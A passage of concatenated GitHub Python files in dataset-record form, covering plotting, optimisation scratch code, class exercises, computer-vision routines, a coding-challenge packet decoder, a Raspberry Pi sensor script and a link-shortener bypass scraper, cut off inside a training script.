range(3)]\n\n#set subplot dimensions\ncols=4\nrows=math.ceil(len(coverage_files)/cols)\nplt.figure(figsize=(27, 12))\nplt.subplots_adjust(wspace=1.0, hspace=0.5)\nplt.suptitle(\"C: contig coverage vs. size, min 10 000 bp length\", fontsize=18, y=0.95)\n\n\nfor i, accessions in enumerate(contig_accessions):\n ax = plt.subplot(rows,cols,i+1)\n plt.xlim(0, 400)\n ax.scatter(contig_coverages[i], contig_lengths[i], c = color_list[i])\n median_coverage = stats.median(contig_coverages[i])\n plt.axvline(x=median_coverage, c = color_list[i])\n\n ax.set_title(contig_accessions[i], c = color_list[i])\n #ax.text(185,max(contig_lengths[i]), 'coverage: '+str(int(round(median_coverage))), c = color_list[i])\n\n#plt.supxlabel('coverage')\n#plt.supylabel('contig length in bp')\nplt.xlabel(\"coverage\")\nplt.ylabel(\"contig length in bp\")\nplt.show()\n\n\n","repo_name":"milena-t/MSc_thesis","sub_path":"mapping_contig_coverage/coverage.py","file_name":"coverage.py","file_ext":"py","file_size_in_byte":3317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8851457398","text":"from pyomo.environ import *\n\nm = ConcreteModel()\nm.x = Var()\n\nm.N = RangeSet(1, 5, doc='Set of units in the superstructure')\nm.YF = BooleanVar(m.N)\nm.YP = BooleanVar(m.N)\n\n# create a Pyomo expression\ne1 = m.x + 5\n\n# create another Pyomo expression\n# e1 is copied when generating e2\ne2 = e1 + m.x\n\nm.I = Set(initialize=['A', 'B'], doc='Set of components')\n\n# Create list of expressions\nlogic_expr = []\nfor n in m.N:\n logic_expr.append(lor(land(~m.YF[n2] for n2 in range(1, n)), m.YF[n]))\n\n# Create list of logical constraints\nm.logic_list = LogicalConstraintList()\n\n# Populate constraint list with expressions\nfor n in m.N:\n m.logic_list.add(m.YP[n].equivalent_to(logic_expr[n-1]))\n\n\nfor n in m.N:\n if n == 4:\n m.YF[n].fix(True)\n else:\n m.YF[n].fix(False)\n\n\nprint(logic_expr)\nfor i in logic_expr:\n print(value(i))\n# pe.value(pe.lor(pe.land(~m.YF[n2]\n# for n2 in range(1, n)), m.YF[n]))\nm.conlist = ConstraintList()\nm.con = Constraint(expr=m.x**2 == e2)\n\nfor i in m.I:\n m.conlist.add(m.x**2 == e2)\n\nm.x.fix(1)\nprint(value(e2))\n\nm.pprint()\n","repo_name":"bernalde/dsda-gdp","sub_path":"misc/util/scratch.py","file_name":"scratch.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"21831702611","text":"\n\nrowNum = [-1,0,0,1]\ncolNum = [0,-1,1,0]\n\ndef isSafe(mat,visited,x,y):\n\n\tif mat[x][y] == 0 or visited[x][y]:\n\t\treturn False\n\treturn True\n\ndef isValid(x,y,R,C):\n\treturn x < R and y < C and x>=0 and y>=0\n\ndef preprocess(mat,R,C):\n\tfor i in range(R):\n\t\tfor j in range(C):\n\t\t\tif mat[i][j] == 0:\n\t\t\t\tfor k in range(4):\n\t\t\t\t\tif isValid(i+rowNum[k],j+colNum[k],R,C):\n\t\t\t\t\t\tmat[i+rowNum[k]][j+colNum[k]] = -1\n\tfor i in range(R):\n\t\tfor j in range(C):\n\t\t\tif mat[i][j] == -1:\n\t\t\t\tmat[i][j] = 0\n\ndef findShortestPathUtil(mat,visited,i,j,Dist,curr):\n\tif J == C-1:\n\t\tDist[0] = min(Dist[0],curr)\n\n\tif curr>Dist[0]:\n\t\treturn\n\t\n\tvisited[i][j] = 1\n\n\tfor k in range(4):\n\t\tif isValid(i+rowNum[k],j+colNum[k],R,C) and isSafe(mat,visited,i+rowNum[k],j+colNum[k]):\n\t\t\tfindShortestPathUtil(mat,visited,i+rowNum[k],j+colNum[k],Dist,curr+1)\n\n\tvisited[i][j] = 0\n\ndef findShortestPath(mat,R,C):\n\n\tDist = [9999999999]\n\n\tpreprocess(mat,R,C)\n\n\tfor i in range(R):\n\t\t\n\t\tvisited = [[0 for _ in range(C)] for _ in range(R)]\n\n\t\tfindShortestPathUtil(mat,visited,i,0,Dist,0)\n\n\t\tif Dist[0] == C-1:\n\t\t\tbreak\n\t\n\t\n\tprint(Dist)\n\t\n","repo_name":"deepak01-Hacker/DAily-Practice","sub_path":"Find shortest safe route in a path with landmines.py","file_name":"Find shortest safe route in a path with landmines.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"36477418370","text":"alpha = {}\r\n\r\nstring = input(\"Please enter a string:\")\r\n\r\nfor char in string:\r\n if ord(char) >= 97 and ord(char) <= 122:\r\n char = chr(ord(char) - 32)\r\n\r\n if char.isalpha():\r\n if char in alpha:\r\n alpha[char] += 1\r\n else:\r\n alpha[char] = 1\r\n \r\nfor a in alpha:\r\n if alpha[char] != 0:\r\n print(\"%s : %d\" %(a, alpha[a]))","repo_name":"rebecca-oakes/codesamples","sub_path":"countChars.py","file_name":"countChars.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29233920958","text":"class User(object):\n\tdef __init__(self, name, email):\n\t\tself.name = name\n\t\tself.email = email\n\t\tself.books = {}\n\t\n\tdef get_email(self):\n\t\treturn self.email\n\n\tdef change_email(self, address):\n\t\tself.email = address\n\t\tprint(\"{user}'s email has been updated to {email}\".format(user = self.name, email = self.email))\n\n\tdef __repr__(self):\n\t\treturn 'User {user}, email: {email}, books read: {books}'.format(user = self.name, email = self.email, books = self.books)\n\n\tdef __eq__(self, other_user):\n\t\treturn (self.name == other_user.name and self.email == other_user.email)\n\t\t\n\tdef get_average_rating(self):\n\t\tratings = 0\n\t\tnumbers = 0\n\t\tfor val in self.books.values():\n\t\t\tratings += val\n\t\t\tnumbers += 1\n\t\t\treturn ratings / numbers\n\t\t\n\tdef read_book(self, book, rating = 0):\n\t\tself.books[book] = rating\n\nclass Book(object):\n\tdef __init__(self, title, isbn):\n\t\tself.title = title\n\t\tself.isbn = isbn\n\t\tself.ratings = []\n\t\t\n\tdef get_title(self):\n\t\treturn self.title\n\t\n\tdef get_isbn(self):\n\t\treturn self.isbn\n\t\n\tdef set_isbn(self, new_isbn):\n\t\tself.isbn = new_isbn\n\t\tprint(\"the isbn has been changed to {isbn}\".format(isbn = self.isbn))\n\t\t\n\tdef add_rating(self, rating):\n\t\tif rating >= 0 and rating <= 4:\n\t\t\tself.ratings.append(rating)\n\t\n\tdef __eq__(self, other_book):\n\t\treturn (self.title == other_book.title and self.isbn == other_book.isbn)\n\t\t\n\tdef get_average_rating(self):\n\t\tratings = 0\n\t\tnums= 0\n\t\tfor val in self.ratings:\n\t\t\tratings += val\n\t\t\tnums =+ 1\n\t\treturn ratings / nums\n\t\t\n\tdef __repr__(self):\n\t\treturn '{book}'.format(book = self.title)\n\t\t\n\tdef __hash__(self):\n\t\treturn hash((self.title, self.isbn))\n\t\t\nclass Fiction(Book):\n\tdef __init__(self, title, author, isbn):\n\t\tsuper().__init__(title, isbn)\n\t\tself.author = author\n\t\n\tdef get_author(self):\n\t\treturn self.author\n\t\t\n\tdef __repr__(self):\n\t\treturn \"{title} by {author}\".format(title = self.title, author = self.author)\n\t\nclass Non_Fiction(Book):\n\tdef __init__(self, title, subject, level, isbn):\n\t\tsuper().__init__(title, isbn)\n\t\tself.subject = subject\n\t\tself.level = level\n\t\t\n\tdef get_subject(self):\n\t\treturn self.subject\n\t\n\tdef get_level(self):\n\t\treturn self.level\n\t\n\tdef __repr__(self):\n\t\treturn \"{title}, a {level} manual on {subject}\".format(title = self.title, level = self.level, subject = self.subject)\n\t\t\nclass TomeRater:\n\tdef __init__(self):\n\t\tself.users = {}\n\t\tself.books = {}\n\t\tself.isbns = {}\n\t\n\tdef create_book(self, title, isbn):\n\t\tif len(self.isbns) == 0:\n\t\t\tself.isbns[title] = isbn\n\t\t\treturn Book(title, isbn)\n\t\telse:\n\t\t\tfor isbns in self.isbns.values():\n\t\t\t\tif isbns != isbn:\n\t\t\t\t\tself.isbns[title] = isbn\n\t\t\t\t\treturn Book(title, isbn)\n\t\t\t\telse:\n\t\t\t\t\tprint('That ISBN is already used')\n\t\n\tdef create_novel(self, title, author, isbn):\n\t\tif len(self.isbns) == 0:\n\t\t\tself.isbns[title] = isbn\n\t\t\treturn Fiction(title, author, isbn)\n\t\telse:\n\t\t\tfor isbns in self.isbns.values():\n\t\t\t\tif isbns != isbn:\n\t\t\t\t\tself.isbns[title] = isbn\n\t\t\t\t\treturn Fiction(title, author, isbn)\n\t\t\t\telse:\n\t\t\t\t\tprint('That ISBN is already used')\n\t\n\tdef create_non_fiction(self, title, subject, level, isbn):\n\t\tif len(self.isbns) == 0:\n\t\t\tself.isbns[title] = isbn\n\t\t\treturn Non_Fiction(title, subject, level, isbn)\n\t\telse:\n\t\t\tfor isbns in self.isbns.values():\n\t\t\t\tif isbns != isbn:\n\t\t\t\t\tself.isbns[title] = isbn\n\t\t\t\t\treturn Non_Fiction(title, subject, level, isbn)\n\t\t\t\telse:\n\t\t\t\t\tprint('That ISBN is already used')\n\t\n\tdef add_book_to_user(self, book, email, rating = 0):\n\t\tmail_there = False\n\t\tif self.users.get(email):\n\t\t\tmail_there = True\n\t\t\tuser = self.users.get(email)\n\t\t\tbook = Book(book, isbn = 0)\n\t\t\tuser.read_book(book, rating)\n\t\t\tbook.add_rating(rating)\n\t\t\tif not self.books.get(book):\n\t\t\t\tself.books[book] = 1\n\t\t\telse:\n\t\t\t\tself.books[book] += 1\n\t\telse:\n\t\t\tmail_there = False\n\t\tif mail_there == False:\n\t\t\tprint(\"No user with email {email}!\".format(email = email))\n\t\t\t\t\n\tdef add_user(self, name, email, user_books = []):\n\t\tisAtThere = False\n\t\tending = False\n\t\tendings = ['.com', '.org', '.edu']\n\t\tfor letter in email:\n\t\t\tif letter == '@':\n\t\t\t\tisAtThere = True\n\n\t\tfor end in endings:\n\t\t\tif email[-4:] == end:\n\t\t\t\tending = True\n\t\t\t\tbreak\n\t\t\t\t\n\t\tif self.users.get(email):\n\t\t\tprint('That email is already in use.')\n\t\telse: \n\t\t\tif isAtThere == True and ending == True:\n\t\t\t\tuser = User(name, email)\n\t\t\t\tself.users[email] = user\n\t\t\t\tif len(user_books) > 0:\n\t\t\t\t\tfor book in user_books:\n\t\t\t\t\t\tself.add_book_to_user(book, email)\n\t\t\telse:\n\t\t\t\tprint('That is not a valid email')\n\tdef print_catalog(self):\n\t\tprint('***Our catalog***')\n\t\tfor book in self.books:\n\t\t\tprint(book)\n\t\n\tdef print_users(self):\n\t\tprint('***Our users***')\n\t\tfor user in self.users.values():\n\t\t\tprint(user)\n\t\n\tdef most_read_book(self):\n\t\ttop = 0\n\t\ttop_book = ''\n\t\tfor book,val in self.books.items():\n\t\t\tif val > top:\n\t\t\t\ttop = val\n\t\t\t\ttop_book = book\n\t\treturn top_book\n\tdef highest_rated_book(self):\n\t\ttop = ''\n\t\ttop_val = 0\n\t\tfor book in self.books.keys():\n\t\t\ttemp = book.get_average_rating()\n\t\t\tif temp > top_val:\n\t\t\t\ttop_val = temp\n\t\t\t\ttop = book\n\t\treturn top\n\t\t\t\n\tdef most_positive_user(self):\n\t\thighest = 0\n\t\th_user = ''\n\t\tfor user in self.users.values():\n\t\t\tif user.get_average_rating() > highest:\n\t\t\t\thighest = user.get_average_rating()\n\t\t\t\th_user = user\n\t\treturn h_user","repo_name":"bug182/pwp-capstones","sub_path":"Inten_final/TomeRater.py","file_name":"TomeRater.py","file_ext":"py","file_size_in_byte":5189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8911745512","text":"# -*- coding:utf-8 -*-\n\nimport asyncio\n\n#@asyncio.coroutine\nasync def hello():\n print('hello the fuck world')\n # yield from asyncio.sleep(1)\n await asyncio.sleep(1)\n print('silly b')\n\nloop=asyncio.get_event_loop()\ntasks=[hello(),hello()]\nloop.run_until_complete(asyncio.wait(tasks))\nloop.close()\n","repo_name":"KhalidGong/Practice","sub_path":"my_program/asyncio_test.py","file_name":"asyncio_test.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38886421058","text":"'''\r\n File name: nonMaxSup.py\r\n Author:Weiyi Tang\r\n Date created: 09/15/2019\r\n'''\r\n\r\n'''\r\n File clarification:\r\n Find local maximum edge pixel using NMS along the line of the gradient\r\n - Input Mag: H x W matrix represents the magnitude of derivatives\r\n - Input Ori: H x W matrix represents the orientation of derivatives\r\n - Output M: H x W binary matrix represents the edge map after non-maximum suppression\r\n'''\r\nimport numpy as np\r\nfrom interp import interp2\r\n\r\ndef nonMaxSup(Mag, Ori):\r\n \r\n h,w=Mag.shape\r\n \r\n lx=np.cos(Ori)\r\n ly=np.sin(Ori)\r\n \r\n x,y=np.meshgrid(np.arange(w),np.arange(h))\r\n xq_p=x+lx\r\n yq_p=y-ly\r\n xq_n=x-lx\r\n yq_n=y+ly\r\n \r\n Pos=interp2(Mag, xq_p, yq_p)\r\n Neg=interp2(Mag, xq_n, yq_n)\r\n \r\n M=np.int64(Mag-Pos>0)*np.int64(Mag-Neg>0)\r\n \r\n return M\r\n \r\n \r\n ","repo_name":"Tangve/Classic_Computer_Vision_Methods","sub_path":"Canny_Edge_Detection/nonMaxSup.py","file_name":"nonMaxSup.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"2161879152","text":"import matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport datetime\nimport csv\nimport numpy as np\nimport matplotlib.ticker as plticker\nfrom scipy import integrate\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# Use computer modern font in plots:\nplt.rcParams.update({\n 'text.usetex': True,\n 'font.family': 'serif',\n 'font.serif': ['Computern Modern Roman'],\n})\n\n\ndef plot_myStrom(fileName):\n\n # Set current electricity price\n priceperkWh = 27e-2 # [CHF/kWh]\n\n # Get date\n date = datetime.datetime.today()\n dateFileName = date.strftime(\"%Y-%m-%d\")\n\n # Set plot name\n plotName = \"../Plots/Plot\" + \"_\" + dateFileName + \".pdf\" # Set name of created .csv file\n\n # Read CSV file\n with open(fileName) as file:\n reader = csv.reader(file, delimiter=\",\", quotechar='\"')\n next(reader, None) # skip the headers\n data_read = [row for row in reader]\n\n nrows = np.shape(data_read)[0]\n ncols = np.shape(data_read)[1]\n\n Power = np.zeros(nrows)\n Energy = np.zeros(nrows)\n Temp = np.zeros(nrows)\n time = [\"\" for row in range(nrows)]\n timeInt = np.zeros(nrows)\n\n # Assign data to variables\n for row in range(nrows):\n Power[row] = data_read[row][0]\n Energy[row] = data_read[row][1]\n Temp[row] = data_read[row][3]\n time[row] = data_read[row][4][11:19]\n timeInt[row] = int(time[row][0:2])*3600 + int(time[row][3:5])*60 + \\\n int(time[row][6:8])\n\n # Numerical integration to get kWh\n kWh = integrate.simpson(Power, timeInt)/(3.6*1e6)\n kWhperYear = kWh * 365\n costperYear = kWhperYear * priceperkWh\n\n # Create plot\n fig, ax = plt.subplots()\n ax.plot(timeInt, Power, color='gray', alpha=0.8, linestyle='solid')\n\n # Shade area under curve\n ax.fill_between(timeInt, Power, facecolor='gray', alpha=0.2)\n\n # Beautify the x-labels\n # ax.set_xticks(timeFloat)\n ax.set_xticks(timeInt[::15])\n ax.set_xticklabels(time[::15])\n deltat = np.max(timeInt) - np.min(timeInt)\n #plt.gca().xaxis.set_major_locator(plt.MultipleLocator(0.15 * deltat))\n\n # Add labels\n ax.set_xlabel(r'Time')\n ax.set_ylabel(r'Power [W]')\n\n # Set axis limits\n ax.set_ylim([0, 1.2 * np.max(Power)])\n\n # Add text\n # print('{:.3f}'.format(kWh))\n text = 'Energy = {:.3f} kWh \\n Per Year: {:.1f} kWh \\n Annual Cost = {:.2f} CHF'\\\n .format(kWh, kWhperYear, costperYear)\n xpos = np.max(timeInt) - 0.4 * (np.max(timeInt) - np.min(timeInt))\n ypos = 1.2 * np.max(Power) - 0.2 * (np.max(Power) - np.min(Power))\n ax.text(xpos, ypos, text)\n\n # Set title\n ax.set_title(r'Power Consumption')\n\n # Titles\n fig.suptitle('MyStrom Data ' + dateFileName, fontsize=16, y=0.98) # Set overall title\n\n # Save plot (w/o title)\n plt.savefig(plotName, bbox_inches='tight')\n\n plt.show()\n\n\nplot_myStrom('/Users/eduardmeier/Desktop/Python/Projects_meiered/Mystrom/Data/Data_2022-12-26_fixed.csv')\n","repo_name":"meieredi/MyStrom_PowerVisualization","sub_path":"Code_Plotting/Plotting.py","file_name":"Plotting.py","file_ext":"py","file_size_in_byte":2970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"14733941239","text":"from gpiozero import *\nfrom time import sleep\n\npie = GPIODevice(21)\n\nhes_been = False\n\ntry:\n while True:\n # Check to see if he's been, and the Mince Pie has moved.\n if (pie.value == True and hes_been == False):\n # If the pie has moved, and he's not been previously, let's tell the world he's been!\n print('Santa has been!')\n hes_been = True\n elif(hes_been):\n # If he's been, we need to check that the mince pie hasn't been replaced.\n if(pie.value == False):\n # If the mince pie has been replaced, let's reset everything.\n print('Mince Pie Reset.')\n hes_been = False\n sleep(1)\n\nexcept KeyboardInterrupt:\n pie.close()\n","repo_name":"modmypi/Mince-Spy","sub_path":"mincespysolo.py","file_name":"mincespysolo.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31543291334","text":"import numpy as np\r\nimport torch\r\nimport cv2\r\nfrom torchvision.transforms import ToTensor\r\nfrom new_resnet import resnet50\r\n\r\n\r\nimg_root = \"***.jpg\" # 需要预测的图片路径 （自己填入）\r\nmodel = resnet50()\r\nmodel.load_state_dict(torch.load(\"***.pth\")) # 导入参数 （自己填入）\r\nmodel.eval()\r\nconfident = 0.2\r\niou_con = 0.4\r\n\r\nVOC_CLASSES = (\r\n 'aeroplane', 'bicycle', 'bird', 'boat',\r\n 'bottle', 'bus', 'car', 'cat', 'chair',\r\n 'cow', 'diningtable', 'dog', 'horse',\r\n 'motorbike', 'person', 'pottedplant',\r\n 'sheep', 'sofa', 'train', 'tvmonitor') # 将自己的名称输入 （使用自己的数据集时需要更改）\r\nCLASS_NUM = len(VOC_CLASSES) # 20\r\n\r\n\r\n# target 7*7*30 值域为0-1\r\nclass Pred():\r\n def __init__(self, model, img_root):\r\n self.model = model\r\n self.img_root = img_root\r\n\r\n def result(self):\r\n img = cv2.imread(self.img_root)\r\n h, w, _ = img.shape\r\n print(h, w)\r\n image = cv2.resize(img, (448, 448))\r\n img = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\r\n mean = (123, 117, 104) # RGB\r\n img = img - np.array(mean, dtype=np.float32)\r\n transform = ToTensor()\r\n img = transform(img)\r\n img = img.unsqueeze(0) # 输入要求是4维的\r\n Result = self.model(img) # 1*7*7*30\r\n bbox = self.Decode(Result)\r\n bboxes = self.NMS(bbox) # n*6 bbox坐标是基于7*7网格需要将其转换成448\r\n if len(bboxes) == 0:\r\n print(\"未识别到任何物体\")\r\n print(\"尝试减小 confident 以及 iou_con\")\r\n print(\"也可能是由于训练不充分，可在训练时将epoch增大\") \r\n for i in range(0, len(bboxes)): # bbox坐标将其转换为原图像的分辨率\r\n bboxes[i][0] = bboxes[i][0] * 64\r\n bboxes[i][1] = bboxes[i][1] * 64\r\n bboxes[i][2] = bboxes[i][2] * 64\r\n bboxes[i][3] = bboxes[i][3] * 64\r\n\r\n x1 = bboxes[i][0].item() # 后面加item()是因为画框时输入的数据不可一味tensor类型\r\n x2 = bboxes[i][1].item()\r\n y1 = bboxes[i][2].item()\r\n y2 = bboxes[i][3].item()\r\n class_name = bboxes[i][5].item()\r\n print(x1, x2, y1, y2, VOC_CLASSES[int(class_name)])\r\n\r\n cv2.rectangle(image, (int(x1), int(y1)), (int(x2), int(y2)), (144, 144, 255)) # 画框\r\n\r\n cv2.imshow('img', image)\r\n cv2.waitKey(0)\r\n\r\n def Decode(self, result): # x -> 1**7*30\r\n result = result.squeeze() # 7*7*30\r\n grid_ceil1 = result[:, :, 4].unsqueeze(2) # 7*7*1\r\n grid_ceil2 = result[:, :, 9].unsqueeze(2)\r\n grid_ceil_con = torch.cat((grid_ceil1, grid_ceil2), 2) # 7*7*2\r\n grid_ceil_con, grid_ceil_index = grid_ceil_con.max(2) # 按照第二个维度求最大值 7*7 一个grid ceil两个bbox，两个confidence\r\n class_p, class_index = result[:, :, 10:].max(2) # size -> 7*7 找出单个grid ceil预测的物体类别最大者\r\n class_confidence = class_p * grid_ceil_con # 7*7 真实的类别概率\r\n bbox_info = torch.zeros(7, 7, 6)\r\n for i in range(0, 7):\r\n for j in range(0, 7):\r\n bbox_index = grid_ceil_index[i, j]\r\n bbox_info[i, j, :5] = result[i, j, (bbox_index * 5):(bbox_index+1) * 5] # 删选bbox 0-5 或者5-10\r\n bbox_info[:, :, 4] = class_confidence\r\n bbox_info[:, :, 5] = class_index\r\n print(bbox_info[1, 5, :])\r\n return bbox_info # 7*7*6 6 = bbox4个信息+类别概率+类别代号\r\n\r\n def NMS(self, bbox, iou_con=iou_con):\r\n for i in range(0, 7):\r\n for j in range(0, 7):\r\n # xc = bbox[i, j, 0] # 目前bbox的四个坐标是以grid ceil的左上角为坐标原点 而且单位不一致\r\n # yc = bbox[i, j, 1] # (xc,yc) 单位= 7*7 (w,h) 单位= 1*1\r\n # w = bbox[i, j, 2] * 7\r\n # h = bbox[i, j, 3] * 7\r\n # Xc = i + xc\r\n # Yc = j + yc\r\n # xmin = Xc - w/2 # 计算bbox四个顶点的坐标（以整张图片的左上角为坐标原点）单位7*7\r\n # xmax = Xc + w/2\r\n # ymin = Yc - h/2\r\n # ymax = Yc + h/2 # 更新bbox参数 xmin and ymin的值有可能小于0\r\n xmin = j + bbox[i, j, 0] - bbox[i, j, 2] * 7 / 2 # xmin\r\n xmax = j + bbox[i, j, 0] + bbox[i, j, 2] * 7 / 2 # xmax\r\n ymin = i + bbox[i, j, 1] - bbox[i, j, 3] * 7 / 2 # ymin\r\n ymax = i + bbox[i, j, 1] + bbox[i, j, 3] * 7 / 2 # ymax\r\n\r\n bbox[i, j, 0] = xmin\r\n bbox[i, j, 1] = xmax\r\n bbox[i, j, 2] = ymin\r\n bbox[i, j, 3] = ymax\r\n\r\n bbox = bbox.view(-1, 6) # 49*6\r\n bboxes = []\r\n ori_class_index = bbox[:, 5]\r\n class_index, class_order = ori_class_index.sort(dim=0, descending=False)\r\n class_index = class_index.tolist() # 从0开始排序到7\r\n bbox = bbox[class_order, :] # 更改bbox排列顺序\r\n a = 0\r\n for i in range(0, CLASS_NUM):\r\n num = class_index.count(i)\r\n if num == 0:\r\n continue\r\n x = bbox[a:a+num, :] # 提取同一类别的所有信息\r\n score = x[:, 4]\r\n score_index, score_order = score.sort(dim=0, descending=True)\r\n y = x[score_order, :] # 同一种类别按照置信度排序\r\n if y[0, 4] >= confident: # 物体类别的最大置信度大于给定值才能继续删选bbox，否则丢弃全部bbox\r\n for k in range(0, num):\r\n y_score = y[:, 4] # 每一次将置信度置零后都重新进行排序，保证排列顺序依照置信度递减\r\n _, y_score_order = y_score.sort(dim=0, descending=True)\r\n y = y[y_score_order, :]\r\n if y[k, 4] > 0:\r\n area0 = (y[k, 1] - y[k, 0]) * (y[k, 3] - y[k, 2])\r\n for j in range(k+1, num):\r\n area1 = (y[j, 1] - y[j, 0]) * (y[j, 3] - y[j, 2])\r\n x1 = max(y[k, 0], y[j, 0])\r\n x2 = min(y[k, 1], y[j, 1])\r\n y1 = max(y[k, 2], y[j, 2])\r\n y2 = min(y[k, 3], y[j, 3])\r\n w = x2 - x1\r\n h = y2 - y1\r\n if w < 0 or h < 0:\r\n w = 0\r\n h = 0\r\n inter = w * h\r\n iou = inter / (area0 + area1 - inter)\r\n # iou大于一定值则认为两个bbox识别了同一物体删除置信度较小的bbox\r\n # 同时物体类别概率小于一定值则认为不包含物体\r\n if iou >= iou_con or y[j, 4] < confident:\r\n y[j, 4] = 0\r\n for mask in range(0, num):\r\n if y[mask, 4] > 0:\r\n bboxes.append(y[mask])\r\n a = num + a\r\n return bboxes\r\n\r\n\r\nif __name__ == \"__main__\":\r\n Pred = Pred(model, img_root)\r\n Pred.result()\r\n\r\n","repo_name":"inging550/YOLOV1-pytorch","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":7377,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"60"} +{"seq_id":"37918706843","text":"# coding=utf-8\n'''\n 21/12/2021\n Made by Alejandro Pinel Martínez\n Code Challenge\n Challenge 10 - Packets delivery\n'''\n\nimport binascii\n\ndef processCase(case):\n case.sort(key=lambda x: (x['time']))\n word = ''\n for message, i in zip(case, range(len(case))):\n word += chr((int(message['id'], 16)))\n \n print(f'Hint: {word}')\n \n case.sort(key=lambda x: (x['seq']))\n dataHex = ''\n for message, i in zip(case, range(len(case))):\n dataHex += message['data']\n \n writeHex('secret.png', dataHex)\n \n # If we read the QR we obtain:\n print('The password is: KFXSMGTAJ9KT20')\n \n code = 'KFXSMGTAJ9KT20'\n \n return code\n \ndef readDataPacket(messages):\n file = open(\"packet.txt\", \"r\", encoding=\"utf-8\")\n\n for message in messages:\n line = file.readline()\n while ('Data (1 byte)' not in line):\n line = file.readline()\n line = file.readline()\n line = file.readline()\n message['data'] = line[6:8]\n file.close()\n \ndef readSeqAndIdPacket(messages):\n file = open(\"packet.csv\", \"r\", encoding=\"utf-8\")\n line = file.readline()\n for message, i in zip(messages, range(len(messages))):\n line = file.readline().replace('\\\"', '')\n info = line.split(',')\n extraInfo = info[6].split(' ')\n \n message['time'] = float(info[1])\n message['id'] = '0x' + info[6].split('=')[1][4:6]\n message['seq'] = int(info[7].split('=')[1].split('/')[0])\n file.close()\n\n#Get input\ndef readInput():\n nMessages = 213\n messages = [{} for i in range(nMessages)]\n \n readDataPacket(messages)\n readSeqAndIdPacket(messages)\n \n return messages\n\ndef writeHex(hexFileName, hexNumbers):\n with open(hexFileName, 'wb') as f:\n f.write(binascii.unhexlify(hexNumbers))\n\ndef writeOutput(filename, output):\n f = open(filename + '.txt', \"w\")\n f.write(output)\n f.close()\n\ndef main():\n writeFile = True\n\n outputfile = \"Output\"\n\n if (not writeFile):\n outputfile = None\n\n inputs = readInput()\n \n output = processCase(inputs)\n\n writeOutput(outputfile, output)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"alekpinel/CodeChallenge1","sub_path":"Challenge 10/Challenge10.py","file_name":"Challenge10.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8287945346","text":"import requests\nimport cloudscraper as cs\nfrom time import sleep\n\nscraper = cs.create_scraper()\n\ndef extract_data_between_strings(input_string, left_string, right_string):\n left_index = input_string.find(left_string)\n if left_index == -1:\n return None\n\n left_index += len(left_string)\n\n right_index = input_string.find(right_string, left_index)\n if right_index == -1:\n return None\n\n return input_string[left_index:right_index]\n\ndef main(URLx):\n response = scraper.get(URLx)\n sleep(0.3)\n \n token = extract_data_between_strings(response.text, ' \n
\n
\"\"\", '
')\n return final_Url\n","repo_name":"adnansid99/MLWBD-ADFree","sub_path":"src/bypass.py","file_name":"bypass.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"37466539362","text":"from __future__ import print_function\n\nimport os\nimport sys\nimport time\nimport torch\nimport torch.optim as optim\nimport torch.backends.cudnn as cudnn\nimport torch.nn.functional as F\nimport argparse\nimport socket\nimport torch.multiprocessing as mp\nimport torch.distributed as dist\n\nimport tensorboard_logger as tb_logger\n\nfrom torchvision import transforms, datasets\nfrom torch.utils.data import Dataset, DataLoader\n\nfrom utils.util import adjust_learning_rate, AverageMeter, Tee\n\nfrom models.resnet import InsResNet50,InsResNet18,InsResNet34,InsResNet101,InsResNet152\nfrom models.segmentor import fcn, UNet\nfrom models.loss import cross_entropy2d\n\nfrom data_loader.data_loader_celebamask import Data_Loader\nfrom data_loader.data_loader_forgen import ImageLabelDataset\n\nimport matplotlib.pyplot as plt\n\nimport numpy as np\nimport random\nimport math\nimport cv2\n\ntorch.manual_seed(0)\ntorch.cuda.manual_seed(0)\ntorch.cuda.manual_seed_all(0)\nrandom.seed(0)\nnp.random.seed(0)\ntorch.backends.cudnn.deterministic = True\ntorch.backends.cudnn.benchmark = False\n\n\n\ndef parse_option():\n\n hostname = socket.gethostname()\n\n parser = argparse.ArgumentParser('argument for training')\n\n parser.add_argument('--print_freq', type=int, default=10, help='print frequency')\n parser.add_argument('--tb_freq', type=int, default=500, help='tb frequency')\n parser.add_argument('--save_freq', type=int, default=20, help='save frequency')\n parser.add_argument('--batch_size', type=int, default=2, help='batch_size')\n parser.add_argument('--num_workers', type=int, default=16, help='num of workers to use')\n parser.add_argument('--epochs', type=int, default=60, help='number of training epochs')\n\n # optimization\n parser.add_argument('--learning_rate', type=float, default=0.1, help='learning rate')\n parser.add_argument('--lr_decay_epochs', type=str, default='30,40,50', help='where to decay lr, can be a list')\n parser.add_argument('--lr_decay_rate', type=float, default=0.2, help='decay rate for learning rate')\n parser.add_argument('--momentum', type=float, default=0.9, help='momentum')\n parser.add_argument('--weight_decay', type=float, default=0, help='weight decay')\n parser.add_argument('--beta1', type=float, 